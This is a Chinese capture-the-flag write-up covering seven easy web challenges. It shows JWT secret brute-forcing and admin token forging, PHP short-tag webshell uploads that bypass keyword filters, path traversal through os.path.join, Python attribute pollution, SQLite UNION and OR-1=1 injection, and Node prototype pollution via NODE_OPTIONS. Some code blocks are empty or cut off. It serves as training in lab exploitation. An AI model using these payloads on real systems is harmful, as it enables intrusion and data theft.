POLARISCTF-web简单难度
1.only real
f12看前端源码:得到
随后尝试伪造cookie
1 | _clck=xhammg%5E2%5Eg4q%5E0%5E2145; _ga_BFDVYZJ3DE=GS2.1.s1774669028$o61$g1$t1774669037$j51$l0$h0; _ga=GA1.1.2057677002.1769704968; _clsk=ysyf6m%5E1774669037220%5E3%5E1%5Es.clarity.ms%2Fcollect; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ2ODA3OTB9.JFhyCZzB3XjqrpAgHYB244mN0djl9BNjRFih1k0tkgM |
使用JWTcrack工具进行全字母数字范围的密钥爆破
1 | jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ2ODA3OTB9.JFhyCZzB3XjqrpAgHYB244mN0djl9BNjRFih1k0tkgM -a abcdefghijklmnopqrstuvwxyz0123456789 --max 6 |
在jwt.io进行伪造admin,得到
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzc0NjgwNzkwfQ.9Hd2oVIJd9RENv8Pex3v_EaA-StqOzKqU0MvZYKsY40 |
稍微尝试了下,文件内容过滤php,eval,post,assert
短标签绕过:
1 | Gemini said |
1 | <?=`ls /`; |
发现几个文件,读取一下,
读取env:
1 | KUBERNETES_SERVICE_PORT=449 |
看看有些什么文件
1 | <?=`ls -aR /var/www/html`; |
明显的flag.php
1 | /var/www/html: . .. Dockerfile dashboard.php entrypoint.sh flag.php index.php jwt.php login.php logout.php message.php static upload.php uploads /var/www/html/static: . .. style.css /var/www/html/uploads: . .. 008eadf6a872c3501941278cf5aa9768_muma.php 07a33b7e5efaaf11e0d0e1e4c9565f89_muma.php 1a2e68522d0b615d8156643227dec52d_muma.php 1b91f0d39610235d41918826bf652187_muma.php 3d11013ef1046e3eb8efa41590658224_muma.php 4b33454ec45cba48f6c80142a10bc66c_muma.php 4c44e9bb6d1f85b7a76ab888909b5869_muma.php 5df5c9b79ec3d3672a1fa75046c6fd5f_muma.php 654e8d55ff83c739b0e3b79ad4b9ec83_muma.php 679bca3c333e28ba338204cbe6ff3d8e_muma.php 7569f45e1c8d05fc53b7385f7493d0f3_muma.php 83e0a291442d5f515412039d5441cae1_muma.php 89dd6ae86cd8452c816101e798b01595_muma.php 8a2a708b5fd54d9bb1a4954a5c2a7b78_muma.php 8e6281784bc55fe08f634c5b4a5fb673_muma.php 967bde2ad3396bbcf381f993ecbcd39f_muma.php 97839fcfad2b52f7b31297b66d4b66e3_muma.php 97a4fa50ae8d612844136f22cf30b681_muma.php 9cb3de498797caa80672cece0b715ca0_muma.jpg a568199e77e6eae57173b7fd6e7c305e_muma.php c9c6196cc62d179a9d3f64db6693c635_muma.php cc3d9bf0fb1edea561be2c0405185bdb_muma.jpg db13870987d5943dd6db545c1149aeea_muma.php df88ed17a1eb394ffd86cf90dd2c0a48_muma.php f1b2ff94bde138e8c8f92d1e770cccd5_muma.php |
看看entrypoint.sh文件内容
1 | !/bin/bash |
看看message.php
1 |
|
再看看dashboard.php
1 | <?php |
看看upload.php
1 |
|
确实是一堆烟雾弹,最后还是短标签语句实现flag读取,这里通配符比较容易乱跑
1 | ------WebKitFormBoundaryb0jXHOCDTS1v00wO |
1 | 使用问号: |
2.only_real_revenge
依旧伪造cookie
1 | _clck=xhammg%5E2%5Eg4r%5E0%5E2145; _ga_BFDVYZJ3DE=GS2.1.s1774784649$o67$g1$t1774784724$j55$l0$h0; _ga=GA1.1.2057677002.1769704968; _clsk=4ogi93%5E1774784719416%5E9%5E1%5Es.clarity.ms%2Fcollect; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NzQ3ODkyMzB9.1A4Nqsuhsi4A0bXPYpFhF9aRm9WvhutLGTGQ91gIpPw |
1 | weizao1: |
这一次:看ls /发现文件在服务器根目录下
直接cat /f*
1 | <?=`cat /f*`; |
得到flag
1 | xmctf{25d7ecd0-d2dc-42af-b243-9ac180383c21} |
3.AutoPypy
附件源码
1 | import os |
此处run下存在:
1 |
|
os.path.join路径拼接漏洞:
一篇解读文章:https://blog.csdn.net/m0_75178803/article/details/136310298
具体的就是:
1 | os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。 |
然后此处,在读取文件处直接采用/flag即可得到flag
4.ez_python
附件app.py
1 | from flask import Flask, request |
merge存在属性覆盖漏洞:
了解一下这个函数:
1 | merge 函数通常用于将两个数据集(如 DataFrame、表或字典)基于一个或多个共享键进行关联和合并。它在数据分析(Pandas)、数据库操作(SQL JOIN)和编程语言(Python, R, Java)中非常普遍,支持内部连接、外部连接、左连接和右连接,类似于 SQL 的 JOIN 操作。 |
1 | 在Python的Pandas库中,merge函数是一种常用的工具,用于根据一个或多个键将两个或多个DataFrame对象合并在一起。 |
针对于merge函数:
语法:
1 | pd.merge(left, right, how='inner', on=None, left_on=None, right_on=None,left_index=False, right_index=False, sort=True,suffixes=('_x', '_y'), copy=True) |
此处的merge只是左右合并操作
此处另一个函数:setattr()可用于修改属性
1 | 描述 |
针对此处存在:
1 | def merge(src, dst): |
于是构造:
1 | { |
根据:
1 |
|
/下会就接受request.data,构造的全新的config.filename值会篡改原本instance.config.filename的值,紧接着:
1 |
|
会打开阅读instance.config.filename的内容
1 | { |
得到flag
1 | XMCTF{73459c2c-5e3b-4cd3-9da6-6a272a0848b2} |
5.Broken Trust(upsolve)
先注册一个用户lily
1 | 得到唯一uid |
登录后查看前端源代码:
1 | async function refreshProfile() { |
此处存在一个鲜明的注册登录逻辑
脑洞吗,,,这里uid查询存在SQL注入
1 | POST /api/profile |
可以得到:
1 | {"role":3,"uid":1,"username":2} |
测试不存在database function
1 | {"uid":"0' union select 1,group_concat(name),3 from sqlite_master WHERE type='table'--+"} |
1 | {"role":3,"uid":1,"username":"users"} |
1 | {"uid":"0' union select 1,2,group_concat(sql) from sqlite_master WHERE type='table'--+"} |
1 | {"role":"CREATE TABLE users \n (uid TEXT PRIMARY KEY, \n username TEXT NOT NULL, \n role TEXT NOT NULL)","uid":1,"username":2} |
sqlite查不到什么
1 | {"uid":"admin' or 1=1--"} |
考虑到存在users这个表,直接看admin信息,确实存在
1 | {"role":"admin","uid":"127ecde13e724527bf251d8d08d034f8","username":"admin"} |
登陆后,点击Access Backup Server
存在一个文件读取方式
/flag和../../../../../../../../均失败,其他方式也无果,
叁玖思路
1 | 测试发现后端对路径穿越做了替换过滤(大概率是 replace('../', ''))。 |
等题目的源码看看是不是这样
1 | XMCTF{e97d708a-f200-453b-91fa-7906979b3878} |
6.ezpollute
app.js
1 | const express = require('express'); |
看看黑名单:
1 | 禁了__proto__ |
对于过滤:
1 | 1.可以用constructor 和 prototype |
后续黑名单,突破口在于:
1 | app.get('/api/status', (req, res) => { |
首先存在键:”NODE_OPTIONS”
然后针对这里
针对requires学习:https://juejin.cn/post/6972095839632097293#heading-6
1 | 正则是为了防止执行 --require /flag。绕过思路如下: |
payload:
1 | { |
随后check’
1 | XMCTF{4ca97d75-04e6-404e-860d-bcb4c81969b0} |
7.DXT(upsolve)
Desktop Extensions (DXT,桌面扩展) 是一种用于打包和分发本地MCP (Model Context Protocol) 服务器的标准化格式。
前端源码:
1 | // Global state |
上传一个mcp服务??
没见过
1 | import requests |
flag
1 | XMCTF{0e9dc895-2568-416b-9ec3-4e45b96682e0} |
针对dxt使用:
文章:
1 | https://blog.csdn.net/aiqlcom/article/details/149341257 |
安装CLI工具
1 | npm install -g @anthropic-ai/dxt |
创建扩展
1 | # 初始化新扩展 |
打包扩展会询问创建一个json文件,就是dxt文件所需
格式like:
1 | { |